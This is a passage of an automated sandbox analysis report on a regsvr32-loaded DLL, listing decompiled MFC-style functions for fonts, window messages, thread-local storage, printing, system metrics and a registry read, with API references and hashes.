Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: CreateDialogGlobalH_prolog3_catchIndirectLockMetricsParamSystem
String ID: MS Shell Dlg
API String ID: 1736106359-76309092
Opcode ID: 0836612ccd89b939986456284b221daff64c2c444739792d891f2b66984f1eb5
Instruction ID: aca18bfbc2af702d8352a65e986f2fe47acd8ccb78c3dcc49b793ffb13d9be50
Opcode Fuzzy Hash: 0836612ccd89b939986456284b221daff64c2c444739792d891f2b66984f1eb5
Instruction Fuzzy Hash: AF51A031A0020D9FDB05DFA4C88ADEEBBB4EF45780F254559F442EB199DB349E81CB52

Uniqueness

Uniqueness Score: -1.00%

Function 100149BE, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E100149BE(intOrPtr __ecx, signed int _a4) {
				signed int _v8;
				char _v40;
				void _v68;
				intOrPtr _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t12;
				void* _t14;
				char* _t23;
				void* _t29;
				signed short _t30;
				struct HDC__* _t31;
				signed int _t32;

				_t12 =  *0x10057a08; // 0xce1c5b24
				_v8 = _t12 ^ _t32;
				_t31 = GetStockObject;
				_t30 = 0xa;
				_v72 = __ecx;
				_t23 = "System";
				_t14 = GetStockObject(0x11);
				if(_t14 != 0) {
					L2:
					if(GetObjectA(_t14, 0x3c,  &_v68) != 0) {
						_t23 =  &_v40;
						_t31 = GetDC(0);
						if(_v68 < 0) {
							_v68 =  ~_v68;
						}
						_t30 = MulDiv(_v68, 0x48, GetDeviceCaps(_t31, 0x5a)) & 0x0000ffff;
						ReleaseDC(0, _t31);
					}
					L6:
					_t16 = _a4;
					if(_a4 == 0) {
						_t16 = _t30 & 0x0000ffff;
					}
					return E100167D5(E1001486F(_t23, _v72, _t29, _t31, _t23, _t16), _t23, _v8 ^ _t32, _t29, _t30, _t31);
				}
				_t14 = GetStockObject(0xd);
				if(_t14 == 0) {
					goto L6;
				}
				goto L2;
			}

0x100149c4
0x100149cb
0x100149d0
0x100149d9
0x100149dc
0x100149df
0x100149e4
0x100149e8
0x100149f2
0x10014a01
0x10014a05
0x10014a12
0x10014a14
0x10014a16
0x10014a16
0x10014a31
0x10014a34
0x10014a34
0x10014a3a
0x10014a3a
0x10014a40
0x10014a42
0x10014a42
0x10014a5d
0x10014a5d
0x100149ec
0x100149f0
0x00000000
0x00000000
0x00000000

APIs

GetStockObject.GDI32(00000011), ref: 100149E4
GetStockObject.GDI32(0000000D), ref: 100149EC
GetObjectA.GDI32(00000000,0000003C,?), ref: 100149F9
GetDC.USER32(00000000), ref: 10014A08
GetDeviceCaps.GDI32(00000000,0000005A), ref: 10014A1C
MulDiv.KERNEL32(00000000,00000048,00000000), ref: 10014A28
ReleaseDC.USER32 ref: 10014A34

Strings

System, xrefs: 100149DF, 10014A49

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: a6886f26645baa5a84af5b89923cd17d43b4ad3fa3ddc4ab300892a0af884a22
Instruction ID: a63e4a091ca1b7be2859df30e5517b7a4abcdff67d16382c886f5131b7cbdf71
Opcode Fuzzy Hash: a6886f26645baa5a84af5b89923cd17d43b4ad3fa3ddc4ab300892a0af884a22
Instruction Fuzzy Hash: 39118F71A40268EBEB10DBA1CC85FAE7BB8FF04781F420015FA02AA190DE709D46CB65

Uniqueness

Uniqueness Score: -1.00%

Function 10009360, Relevance: 13.6, APIs: 9, Instructions: 105
windowCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E10009360(intOrPtr __ecx, intOrPtr _a4) {
				long _v8;
				intOrPtr _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				long _v28;
				intOrPtr _v32;
				signed int _t38;
				long _t49;
				intOrPtr _t50;
				void* _t60;
				long _t76;
				void* _t84;
				void* _t85;

				_v32 = __ecx;
				if(_a4 == 8) {
					return E100090F0(_t60, _v32, _t84, _t85);
				}
				if(_a4 == 9) {
					_t38 =  *0x10058ece & 0x000000ff;
					if(_t38 != 0) {
						_v8 = SendMessageA( *(_v32 + 0x94), 0xe, 0, 0);
						_v12 = _v32 + 0x74;
						SendMessageA( *(_v12 + 0x20), 0xb1, _v8, _v8);
						if(0 == 0) {
							SendMessageA( *(_v12 + 0x20), 0xb7, 0, 0);
						}
						_t76 =  *0x10058f0c; // 0x1005aa2c
						_v16 = _t76;
						SendMessageA( *(_v32 + 0x94), 0xc2, 0, _v16);
						if(_v8 > 0x1000) {
							_t50 =  *0x10058f0c; // 0x1005aa2c
							_t21 = _t50 - 0xc; // 0x0
							_v20 =  *_t21;
							_v24 = _v32 + 0x74;
							SendMessageA( *(_v24 + 0x20), 0xb1, 0, _v20);
							if(0 == 0) {
								SendMessageA( *(_v24 + 0x20), 0xb7, 0, 0);
							}
							SendMessageA( *(_v32 + 0x94), 0xc2, 0, 0x100295fc);
						}
						_v28 = SendMessageA( *(_v32 + 0x94), 0xba, 0, 0);
						_t49 = SendMessageA( *(_v32 + 0x94), 0xb6, 0, _v28);
						 *0x10058ece = 0;
						return _t49;
					}
				}
				return _t38;
			}

0x10009366
0x1000936d
0x00000000
0x10009372
0x10009380
0x10009386
0x1000938f
0x100093ab
0x100093b4
0x100093cb
0x100093d3
0x100093e5
0x100093e5
0x100093eb
0x100093f1
0x10009409
0x10009416
0x10009418
0x1000941d
0x10009420
0x10009429
0x1000943e
0x10009446
0x10009458
0x10009458
0x10009474
0x10009474
0x10009493
0x100094ab
0x100094b1
0x00000000
0x100094b1
0x1000938f
0x100094bb

APIs

SendMessageA.USER32 ref: 100093A5
SendMessageA.USER32 ref: 100093CB
SendMessageA.USER32 ref: 100093E5
SendMessageA.USER32 ref: 10009409
SendMessageA.USER32 ref: 1000943E
SendMessageA.USER32 ref: 10009458
SendMessageA.USER32 ref: 10009474
SendMessageA.USER32 ref: 1000948D
SendMessageA.USER32 ref: 100094AB

Part of subcall function 100090F0: _strlen.LIBCMT ref: 100091CA
Part of subcall function 100090F0: _strlen.LIBCMT ref: 100091E4

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: MessageSend$_strlen
String ID:
API String ID: 3697954797-0
Opcode ID: 2ffd05dad576676297fb9eaf6dbc442549bb5f90649f9ff9e88f90ce09603060
Instruction ID: 329eb70852e0cb7846d89551eaf01311ead5dc39bdcc3cc6f9670776eeec1b90
Opcode Fuzzy Hash: 2ffd05dad576676297fb9eaf6dbc442549bb5f90649f9ff9e88f90ce09603060
Instruction Fuzzy Hash: BE411974A40205AFEB04CBA4CD99FAEB7B5FB4C740F208159FA45AB3D5C775AA02CB50

Uniqueness

Uniqueness Score: -1.00%

Function 10013C4D, Relevance: 13.6, APIs: 9, Instructions: 96
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E10013C4D(void* __ebx, long* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t36;
				void* _t39;
				long _t41;
				void* _t42;
				long _t47;
				void* _t53;
				signed int _t55;
				long* _t62;
				struct _CRITICAL_SECTION* _t64;
				void* _t65;
				void* _t66;

				_push(0x10);
				E10017BF4(E10028893, __ebx, __edi, __esi);
				_t62 = __ecx;
				 *((intOrPtr*)(_t66 - 0x18)) = __ecx;
				_t64 = __ecx + 0x1c;
				 *(_t66 - 0x14) = _t64;
				EnterCriticalSection(_t64);
				_t36 =  *(_t66 + 8);
				if(_t36 <= 0 || _t36 >= _t62[3]) {
					_push(_t64);
				} else {
					_t65 = TlsGetValue( *_t62);
					if(_t65 == 0) {
						 *(_t66 - 4) = 0;
						_t39 = E10013965(0x10);
						__eflags = _t39;
						if(__eflags == 0) {
							_t65 = 0;
							__eflags = 0;
						} else {
							 *_t39 = 0x1002b1d8;
							_t65 = _t39;
						}
						 *(_t66 - 4) =  *(_t66 - 4) | 0xffffffff;
						_t51 =  &(_t62[5]);
						 *(_t65 + 8) = 0;
						 *(_t65 + 0xc) = 0;
						E10013A82( &(_t62[5]), _t65);
						goto L5;
					} else {
						_t55 =  *(_t66 + 8);
						if(_t55 >=  *(_t65 + 8) &&  *((intOrPtr*)(_t66 + 0xc)) != 0) {
							L5:
							_t75 =  *(_t65 + 0xc);
							if( *(_t65 + 0xc) != 0) {
								_t41 = E100134F9(_t51, __eflags, _t62[3], 4);
								_t53 = 2;
								_t42 = LocalReAlloc( *(_t65 + 0xc), _t41, ??);
							} else {
								_t47 = E100134F9(_t51, _t75, _t62[3], 4);
								_pop(_t53);
								_t42 = LocalAlloc(0, _t47);
							}
							_t76 = _t42;
							if(_t42 == 0) {
								LeaveCriticalSection( *(_t66 - 0x14));
								_t42 = E1000A0A7(0, _t53, _t62, _t65, _t76);
							}
							 *(_t65 + 0xc) = _t42;
							E100174D0(_t62, _t42 +  *(_t65 + 8) * 4, 0, _t62[3] -  *(_t65 + 8) << 2);
							 *(_t65 + 8) = _t62[3];
							TlsSetValue( *_t62, _t65);
							_t55 =  *(_t66 + 8);
						}
					}
					_t36 =  *(_t65 + 0xc);
					if(_t36 != 0 && _t55 <  *(_t65 + 8)) {
						 *((intOrPtr*)(_t36 + _t55 * 4)) =  *((intOrPtr*)(_t66 + 0xc));
					}
					_push( *(_t66 - 0x14));
				}
				LeaveCriticalSection();
				return E10017C60(_t36);
			}

0x10013c4d
0x10013c54
0x10013c59
0x10013c5b
0x10013c5e
0x10013c62
0x10013c65
0x10013c6b
0x10013c72
0x10013d73
0x10013c81
0x10013c89
0x10013c8d
0x10013cc1
0x10013cc4
0x10013cc9
0x10013ccb
0x10013cd7
0x10013cd7
0x10013ccd
0x10013ccd
0x10013cd3
0x10013cd3
0x10013cd9
0x10013cde
0x10013ce1
0x10013ce4
0x10013ce7
0x00000000
0x10013c8f
0x10013c8f
0x10013c95
0x10013ca4
0x10013ca4
0x10013ca7
0x10013d0b
0x10013d11
0x10013d16
0x10013ca9
0x10013cae
0x10013cb4
0x10013cb7
0x10013cb7
0x10013d1c
0x10013d1e
0x10013d23
0x10013d29
0x10013d29
0x10013d31
0x10013d42
0x10013d4e
0x10013d53
0x10013d59
0x10013d59
0x10013c95
0x10013d5c
0x10013d61
0x10013d6b
0x10013d6b
0x10013d6e
0x10013d6e
0x10013d74
0x10013d7f

APIs

__EH_prolog3_catch.LIBCMT ref: 10013C54
EnterCriticalSection.KERNEL32(?,00000010,10013E18,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 10013C65
TlsGetValue.KERNEL32(?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013C83
LocalAlloc.KERNEL32(00000000,00000000,00000000,00000010,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10013CB7
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D23
_memset.LIBCMT ref: 10013D42
TlsSetValue.KERNEL32(?,00000000), ref: 10013D53
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D74

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalSection$LeaveValue$AllocEnterH_prolog3_catchLocal_memset
String ID:
API String ID: 1891723912-0
Opcode ID: 98e6fda5490af90b613d29fe93ebf23f0a89dab0f12f059d821b20a9314a5678
Instruction ID: 361604de1dd3242a2b5db774f8c39e7d6c7c8771dcfb3c7945be7f3a81b5ec95
Opcode Fuzzy Hash: 98e6fda5490af90b613d29fe93ebf23f0a89dab0f12f059d821b20a9314a5678
Instruction Fuzzy Hash: 3F317C74500616AFDB20DF65E886C5EBBB5FF04350B21C529F95AAB661CB30ED90CB80

Uniqueness

Uniqueness Score: -1.00%

Function 1000A6E3, Relevance: 12.1, APIs: 8, Instructions: 65
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E1000A6E3(void* __ecx, char* _a4) {
				void* _v8;
				void* _t15;
				void* _t20;
				void* _t35;

				_push(__ecx);
				_t35 = __ecx;
				_t15 =  *(__ecx + 0x74);
				if(_t15 != 0) {
					_t15 = lstrcmpA(( *(GlobalLock(_t15) + 2) & 0x0000ffff) + _t16, _a4);
					if(_t15 == 0) {
						_t15 = OpenPrinterA(_a4,  &_v8, 0);
						if(_t15 != 0) {
							_t18 =  *(_t35 + 0x70);
							if( *(_t35 + 0x70) != 0) {
								E10014056(_t18);
							}
							_t20 = GlobalAlloc(0x42, DocumentPropertiesA(0, _v8, _a4, 0, 0, 0));
							 *(_t35 + 0x70) = _t20;
							if(DocumentPropertiesA(0, _v8, _a4, GlobalLock(_t20), 0, 2) != 1) {
								E10014056( *(_t35 + 0x70));
								 *(_t35 + 0x70) = 0;
							}
							_t15 = ClosePrinter(_v8);
						}
					}
				}
				return _t15;
			}

0x1000a6e6
0x1000a6e8
0x1000a6ea
0x1000a6f2
0x1000a70c
0x1000a714
0x1000a71e
0x1000a725
0x1000a727
0x1000a72c
0x1000a72f
0x1000a72f
0x1000a746
0x1000a74d
0x1000a765
0x1000a76a
0x1000a76f
0x1000a76f
0x1000a775
0x1000a775
0x1000a725
0x1000a77a
0x1000a77e

APIs

GlobalLock.KERNEL32 ref: 1000A700
lstrcmpA.KERNEL32(?,?), ref: 1000A70C
OpenPrinterA.WINSPOOL.DRV(?,?,00000000), ref: 1000A71E
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 1000A73E
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 1000A746
GlobalLock.KERNEL32 ref: 1000A750
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 1000A75D
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 1000A775

Part of subcall function 10014056: GlobalFlags.KERNEL32(?), ref: 10014061
Part of subcall function 10014056: GlobalUnlock.KERNEL32(?,?,?,1000A4C2,?,00000004,1000146F), ref: 10014073
Part of subcall function 10014056: GlobalFree.KERNEL32 ref: 1001407E

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: c5ddca194c607ea35f329f4eccdab628960a2426db6b20382c350f57d95b32d7
Instruction ID: f32a97280aef975bd063cd01cc2dace1ac46c13f829f9411547ae7bffa227ebc
Opcode Fuzzy Hash: c5ddca194c607ea35f329f4eccdab628960a2426db6b20382c350f57d95b32d7
Instruction Fuzzy Hash: ED11A075500600BBEB22CBBADC89DAF7AFDFB89B807104519F60AD5021DB31DD91DB20

Uniqueness

Uniqueness Score: -1.00%

Function 10013854, Relevance: 12.0, APIs: 8, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10013854(void* __ecx) {
				struct HDC__* _t18;
				void* _t19;

				_t19 = __ecx;
				 *((intOrPtr*)(_t19 + 8)) = GetSystemMetrics(0xb);
				 *((intOrPtr*)(_t19 + 0xc)) = GetSystemMetrics(0xc);
				 *0x1005aa30 = GetSystemMetrics(2) + 1;
				 *0x1005aa34 = GetSystemMetrics(3) + 1;
				_t18 = GetDC(0);
				 *((intOrPtr*)(_t19 + 0x18)) = GetDeviceCaps(_t18, 0x58);
				 *((intOrPtr*)(_t19 + 0x1c)) = GetDeviceCaps(_t18, 0x5a);
				return ReleaseDC(0, _t18);
			}

0x1001385f
0x10013865
0x1001386c
0x10013874
0x1001387e
0x1001388f
0x10013899
0x100138a1
0x100138ad

APIs

GetSystemMetrics.USER32 ref: 10013861
GetSystemMetrics.USER32 ref: 10013868
GetSystemMetrics.USER32 ref: 1001386F
GetSystemMetrics.USER32 ref: 10013879
GetDC.USER32(00000000), ref: 10013883
GetDeviceCaps.GDI32(00000000,00000058), ref: 10013894
GetDeviceCaps.GDI32(00000000,0000005A), ref: 1001389C
ReleaseDC.USER32 ref: 100138A4

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: MetricsSystem$CapsDevice$Release
String ID:
API String ID: 1151147025-0
Opcode ID: db9cd225bf41a8a16edb532eadca07c49390effd78a228ecd5040edfe1a92329
Instruction ID: d97b14313f3971f9b273ebf2d99ed84bfce9517748686708ee6192b13dda979b
Opcode Fuzzy Hash: db9cd225bf41a8a16edb532eadca07c49390effd78a228ecd5040edfe1a92329
Instruction Fuzzy Hash: CEF03071A40714AFFB20AF728CC9F677BA8EB81B51F11491AE6428B6D0D7B59806CF50

Uniqueness

Uniqueness Score: -1.00%

Function 1000BD98, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117
registryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E1000BD98(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, signed int _a264, char _a268) {
				char _v4;
				intOrPtr _v12;
				char* _v16;
				void* _v20;
				char* _v24;
				char _v28;
				long _v32;
				char _v36;
				char _v272;
				char _v280;
				intOrPtr _v292;
				void* __ebp;
				signed int _t40;
				char _t44;
				void* _t47;
				void* _t54;
				char* _t61;
				void* _t77;
				void* _t80;
				void* _t81;
				intOrPtr _t94;
				void* _t98;
				void* _t100;
				void* _t101;
				char* _t104;

				_t95 = __edx;
				_t81 = __ecx;
				_t79 = __ebx;
				_t104 =  &_v272;
				_t40 =  *0x10057a08; // 0xce1c5b24
				_a264 = _t40 ^ _t104;
				_push(0x18);
				E10017BC1(E10027F63, __ebx, __edi, __esi);
				_t100 = __ecx;
				_v20 = 0;
				_v32 = 0;
				_t44 = E1000BB54(__ecx, __edx);
				_v28 = _t44;
				if(_t44 != 0) {
					do {
						__eax =  &_v28;
						_push(__eax);
						__ecx = __esi;
						E1000BB65();
						__eflags = __eax - __edi;
						if(__eax != __edi) {
							__edx =  *__eax;
							__ecx = __eax;
							__eax =  *((intOrPtr*)(__edx + 0xc))(__edi, 0xfffffffc, __edi, __edi);
						}
						__eflags = _v28 - __edi;
					} while (_v28 != __edi);
				}
				__eflags =  *(_t100 + 0x54);
				if( *(_t100 + 0x54) == 0) {
					L15:
					 *[fs:0x0] = _v12;
					_pop(_t98);
					_pop(_t101);
					_pop(_t80);
					_t47 = E100167D5(1, _t80, _a264 ^ _t104, _t95, _t98, _t101);
					__eflags =  &_a268;
					return _t47;
				} else {
					__eflags =  *(_t100 + 0x68);
					__eflags = 0 |  *(_t100 + 0x68) != 0x00000000;
					if(__eflags != 0) {
						_push("Software\\");
						E10009FA3(_t79,  &_v16, 0, _t100, __eflags);
						_v4 = 0;
						E10009F7E(_t79,  &_v16,  *(_t100 + 0x54));
						_push(0x1002a248);
						_push( &_v16);
						_push( &_v36);
						_t54 = E1000BC25(_t79, 0, _t100, __eflags);
						_push( *(_t100 + 0x68));
						_v4 = 1;
						_push(_t54);
						_push( &_v24);
						E1000BC25(_t79, 0, _t100, __eflags);
						_v4 = 3;
						E10009CB7(_v36 + 0xfffffff0, _t95);
						_push( &_v24);
						_push(0x80000001);
						E1000BC89(_t79, 0, 0x80000001, __eflags);
						_t61 = RegOpenKeyA(0x80000001, _v16,  &_v20);
						__eflags = _t61;
						if(_t61 == 0) {
							__eflags = RegEnumKeyA(_v20, 0, _t104, 0x104) - 0x103;
							if(__eflags == 0) {
								_push( &_v16);
								_push(0x80000001);
								E1000BC89(_t79, 0, 0x80000001, __eflags);
							}
							RegCloseKey(_v20);
						}
						RegQueryValueA(0x80000001, _v24, _t104,  &_v32);
						E10009CB7( &(_v24[0xfffffffffffffff0]), _t95);
						__eflags =  &(_v16[0xfffffffffffffff0]);
						E10009CB7( &(_v16[0xfffffffffffffff0]), _t95);
						goto L15;
					} else {
						_push(_t104);
						_push(_t81);
						_v280 = 0x10057298;
						E10017C83( &_v280, 0x1002e2fc);
						asm("int3");
						_push(4);
						E10017BC1(E10027DEC, _t79, 0, _t100);
						_t94 = E10013965(0x104);
						_v292 = _t94;
						_t77 = 0;
						_v280 = 0;
						if(_t94 != 0) {
							_t77 = E1000CF71(_t94);
						}
						return E10017C60(_t77);
					}
				}
			}

0x1000bd98
0x1000bd98
0x1000bd98
0x1000bd9f
0x1000bda3
0x1000bdaa
0x1000bdb0
0x1000bdb7
0x1000bdbe
0x1000bdc0
0x1000bdc3
0x1000bdc6
0x1000bdcd
0x1000bdd0
0x1000bdd2
0x1000bdd2
0x1000bdd5
0x1000bdd6
0x1000bdd8
0x1000bddd
0x1000bddf
0x1000bde1
0x1000bde8
0x1000bdea
0x1000bdea
0x1000bded
0x1000bded
0x1000bdd2
0x1000bdf2
0x1000bdf5
0x1000bed2
0x1000bed8
0x1000bee0
0x1000bee1
0x1000bee2
0x1000beeb
0x1000bef0
0x1000bef7
0x1000bdfb
0x1000bdfd
0x1000be03
0x1000be05
0x1000be0c
0x1000be14
0x1000be1f
0x1000be22
0x1000be27
0x1000be2f
0x1000be33
0x1000be34
0x1000be39
0x1000be3c
0x1000be40
0x1000be44
0x1000be45
0x1000be53
0x1000be57
0x1000be5f
0x1000be65
0x1000be66
0x1000be73
0x1000be79
0x1000be7b
0x1000be90
0x1000be95
0x1000be9a
0x1000be9b
0x1000be9c
0x1000be9c
0x1000bea4
0x1000bea4
0x1000beb6
0x1000bec2
0x1000beca
0x1000becd
0x00000000
0x1000be07
0x1000a0db
0x1000a0de
0x1000a0e8
0x1000a0ef
0x1000a0f4
0x1000a0f5
0x1000a0fc
0x1000a10b
0x1000a10d
0x1000a110
0x1000a114
0x1000a117
0x1000a119
0x1000a119
0x1000a123
0x1000a123
0x1000be05

APIs

__EH_prolog3.LIBCMT ref: 1000BDB7
RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 1000BE73
RegEnumKeyA.ADVAPI32(?,00000000,00000000,00000104), ref: 1000BE8A
RegCloseKey.ADVAPI32(?,?,?,?,?,Software\,00000018), ref: 1000BEA4
RegQueryValueA.ADVAPI32(80000001,?,?,?), ref: 1000BEB6

Strings

Software\, xrefs: 1000BE0C

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: CloseEnumH_prolog3OpenQueryValue
String ID: Software\
API String ID: 3878845136-964853688
Opcode ID: 7ebb37ec80ad41570234b5e56baee62c3bc695e135d0d4cdd5ea00e84b8678cd
Instruction ID: bb9b01b2753fba5bda47465ad6778d866e06322e4a0b808ca87f46191af68194
Opcode Fuzzy Hash: 7ebb37ec80ad41570234b5e56baee62c3bc695e135d0d4cdd5ea00e84b8678cd
Instruction Fuzzy Hash: 6241AC31900559AFEB11DFA4CC81EFEB7B9EF48390F20052AF552E2294DB74AA45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1000F6F2, Relevance: 10.6, APIs: 7, Instructions: 115
windowCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E1000F6F2(intOrPtr* __ecx, signed int _a4) {
				struct HWND__* _v4;
				struct tagMSG* _v8;
				int _v12;
				int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t42;
				struct tagMSG* _t43;
				signed int _t45;
				void* _t48;
				void* _t50;
				int _t53;
				long _t56;
				signed int _t62;
				intOrPtr* _t64;
				intOrPtr* _t67;
				void* _t68;

				_t63 = __ecx;
				_t62 = 1;
				_t67 = __ecx;
				_v12 = 1;
				_v16 = 0;
				if((_a4 & 0x00000004) == 0 || (E10012862(__ecx) & 0x10000000) != 0) {
					_t62 = 0;
				}
				_t42 = GetParent( *(_t67 + 0x20));
				 *(_t67 + 0x3c) =  *(_t67 + 0x3c) | 0x00000018;
				_v4 = _t42;
				_t43 = E1000B519(0);
				_t68 = UpdateWindow;
				_v8 = _t43;
				while(1) {
					L14:
					_t73 = _v12;
					if(_v12 == 0) {
						goto L15;
					}
					__eflags = PeekMessageA(_v8, 0, 0, 0, 0);
					if(__eflags != 0) {
						while(1) {
							L15:
							_t45 = E1000B911(_t63, 0, _t67, _t73);
							if(_t45 == 0) {
								break;
							}
							if(_t62 != 0) {
								_t53 = _v8->message;
								if(_t53 == 0x118 || _t53 == 0x104) {
									E100128D7(_t67, 1);
									UpdateWindow( *(_t67 + 0x20));
									_t62 = 0;
								}
							}
							_t64 = _t67;
							_t48 =  *((intOrPtr*)( *_t67 + 0x80))();
							_t79 = _t48;
							if(_t48 == 0) {
								_t39 = _t67 + 0x3c;
								 *_t39 =  *(_t67 + 0x3c) & 0xffffffe7;
								__eflags =  *_t39;
								return  *((intOrPtr*)(_t67 + 0x44));
							} else {
								_t50 = E1000B82B(_t62, _t64, 0, _t67, _t68, _t79, _v8);
								_pop(_t63);
								if(_t50 != 0) {
									_v12 = 1;
									_v16 = 0;
								}
								if(PeekMessageA(_v8, 0, 0, 0, 0) != 0) {
									continue;
								} else {
									goto L14;
								}
							}
						}
						_push(0);
						E1000A5E4();
						return _t45 | 0xffffffff;
					}
					__eflags = _t62;
					if(_t62 != 0) {
						_t63 = _t67;
						E100128D7(_t67, 1);
						UpdateWindow( *(_t67 + 0x20));
						_t62 = 0;
						__eflags = 0;
					}
					__eflags = _a4 & 0x00000001;
					if((_a4 & 0x00000001) == 0) {
						__eflags = _v4;
						if(_v4 != 0) {
							__eflags = _v16;
							if(_v16 == 0) {
